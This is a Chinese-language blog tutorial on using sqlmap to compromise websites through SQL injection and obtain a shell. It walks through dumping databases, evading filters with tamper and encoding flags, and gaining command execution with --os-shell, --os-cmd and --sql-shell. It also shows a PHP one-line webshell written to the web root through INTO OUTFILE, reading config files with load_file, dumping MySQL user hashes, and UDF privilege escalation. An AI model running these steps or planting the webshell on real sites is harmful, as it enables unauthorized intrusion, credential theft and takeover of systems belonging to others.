天天看點

SQLMAP怎麼拿shell

#前言

首先,這篇文章隻針對于滲透某單一網站,來如何利用sqlmap。如果有個别大牛是單單的挖SRC,那麼手注的效率是高于sqlmap的。此外,這也是我自己的一個心得,如有不同的意見,歡迎大家進行交流學習。

此外,在開篇之前,我也講講一些加快注入的方法,比如進入一個網站,你可以看見他的語言,然後大緻判斷出資料庫的,或者用一些網站指紋和插件來判斷,這樣,在注入的時候可以–dbms = mysql,這樣可以打打提高速率,第二,就是我們先判斷哈注入點,’ and 1=1–+ ,‘and 1=2–+檢視sql注入的類型,如果知道了,我們可以–technique = U聯合注入。然後還可以設定線程,–threads = 50增加預設線程。 --batch,自動注入,系統幫你選擇。如果在注入途中我們的ip直接被ban了,我們下次可以用–safe-freq和–random-agent這2個參數。

我直接開講,我首先說說sqlmap常見ri站的幾種方法:

1.例如某網站的url為www.xxxx/aboutus.php?id=1,假如其存在注入點,并且sqlmap能跑。以後的網站都為www.xxxx/aboutus.php?id=1

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db //查詢目前資料庫

sqlmap -u www.xxxx/aboutus.php?id=1 -D 資料庫名字 --tables //查詢所有表

sqlmap -u www.xxxx/aboutus.php?id=1 -D 資料庫名字 -T 表名 --columns //查詢表裡的所有字段

sqlmap -u www.xxxx/aboutus.php?id=1 -D 資料庫名字 -T 表名 -C 字段 --dump

SQLMAP怎麼拿shell

這是最簡單的一種,如若存在注入,我們首先找到他的密碼,然後進入網站背景,當然找網站背景也有很多方法,在我github裡面我總結了的,回到正題,進入背景我們就可以找上傳點,然後上馬拿shell,這是第一種方法。

此外,我們還可以使用一些參數,比如sqlmap -u “xxxxx” --file-write="/root/Desktop/1.txt" --file-dest=“f:\1.txt” sqlmap寫檔案,需要dba權限

2.假入我們在sqlmap輸入sqlmap -u www.xxxx/aboutus.php?id=1 --current-db ,無法完成注入,我們可以加以點東西,例如,

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --hex,–hex是進行16進制編碼,有幾率繞過.

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --no-cast,該參數也是一種編碼,也有幾率繞過。

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --hpp,該參數為是對http參數進行污染,也有幾率繞過。

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --tamper apostrophemask.py 使用腳本繞過,這個腳本是換成utf-8的格式,網上也有很多腳本的注釋,大家可以參考網上的資料。

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --risk = 5 --level = 2,增加risk與level的等級,更全方位的體檢,但是,耗費的時間也更多。這是對第一種的方法的補充。

3.關于POST注入,這個注入要比第一種成功率高(我認為),而且利用的方法也很多。

sqlmap -u www.xxxx/aboutus.php?id=1 --current-db --cookie "id=1"這也是post的一種,關于cookie,當然,我們還可以使用–data,我這兒不推薦,我建議用burpsuit抓包,然後在user-agent,cookie啊,這些地方都可以加*,然後sqlmap開始注入。

SQLMAP怎麼拿shell

然後我們就可以使用sqlmap -u www.xxxx/aboutus.php?id=1 -r 1.txt按照以上的步驟操作,但是我們也可以使用一些額外的參數例如,–os-shell,–sql-shell,–os-pwn

接下來,我就來講講這幾個參數首先是–os-shell,os-shell建立一個對方作業系統的shell,遠端執行系統指令,但是我們的知道一些條件,第一是語言,這個很簡單

SQLMAP怎麼拿shell
SQLMAP怎麼拿shell

第二是曉得絕對路徑,怎麼找絕對路徑我也總結了,就在我的github上,選項一為用這幾個路徑,選項二為使用者自己輸入,選項三為用使用者的字典,選項四為爆破。

SQLMAP怎麼拿shell

然後我們就可以執行指令了

SQLMAP怎麼拿shell

然後我們就可以cd 跳到他的磁盤去,建立檔案,寫入一句話,如若是域使用者,還可以以此為跳闆,内網橫向滲透。(這裡我沒有寫)

接下來是–os-cmd,最開始我一直分不清它跟前者到底有什麼關系,後來才明白這個是不需要你輸入路徑的,我們隻需要看自己的權限,是不是DBA權限–is-dba。看開啟xp_cmdshell沒有,如果開啟了,那就可以使用。

SQLMAP怎麼拿shell
SQLMAP怎麼拿shell
SQLMAP怎麼拿shell

這個就看運氣了,基于這個方法,我們還是能getshell,思路也是同前一種方法一緻。

然後我再介紹一下–sql-shell這個參數,這個參數其實跟前面2個參數的要求沒那麼高,隻要資料庫開啟了shell能執行指令,那麼我們即可使用,但是在網上對于此方法的提及真的是微乎其微,是以,我也自己經曆了一些情況,才慢慢摸索出來的。

首先我們可以這樣使用:

sqlmap -u www.xxxx/aboutus.php?id=1 --sql-shell 然後我們就進入了互動式頁面。

SQLMAP怎麼拿shell

然後我們輸入 select host,user,password from mysql.user這條指令,可以查詢資料庫的使用者和密碼

SQLMAP怎麼拿shell
SQLMAP怎麼拿shell

後面就不截圖了,我直接說用法,load_file(’/home/wwwroot/index.php’),讀取檔案,我們可以讀取一些配置很重要的檔案,config等檔案

select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/home/wwwroot/default/p.php’寫入一句話,當然,你的有寫入的權限。

當然,如果我們不能寫,還想getshell,應該怎麼辦呢,這是,我們就可以按照剛剛的思路,去讀取一些重要的配置檔案,然後用mysql來遠端連接配接。

sqlmap -d “mysql://admin:[email protected]:3306/security” admin是賬号,psw是密碼,後面是位址和端口,security資料庫。我們資料庫可以用current-db來檢視,進入以後,我們就可以操作了,我們可以用udf提權,我的xmind也有詳細過程,然後整活。

關于–os-pwn,這個是和msf配合使用的,我後續會寫一篇專題文章關于MSF的,這兒就不多介紹。

然後還有就是代理,其實sqlmap裡面有代理這個參數,但是我感覺不怎麼靈活–proxy,我建議的是配合Proxifier這個工具來使用,配置原理就是跟在浏覽器配合1080端口用burpsuit抓包一樣,全局代理,很友善的。

這些都是我基于自己的心得,畢竟sql注入真的是很多站都存在的問題,也是最容易入手,拿到一個網站shell的一個漏洞,是以,寫下這篇文章。畢竟要從一個新手,到大牛,我們必須學會這些工具的利用,然後在基于工具利用的基礎上,我們在不斷的升華自己,先從簡單的網絡協定,到作業系統,熟知cmd,powershell,系統資料庫,到代碼審計,自己找cms的0day,再到掌握語言,自己寫工具,對工具有自己的見解,然後基于底層的彙編,逆向,為後面的免殺加殼做準備。最後,擁有完善的思維系統,外網内網有自己的思路。這些,都需要我們一步一個腳印,慢慢去完善。

https://github.com/xinxin999 這是我的github,也希望在各位學安全的夥伴,共同進步,為中國的網際網路盡一份微薄的力量。

HTML 3310 字數 38 段落

繼續閱讀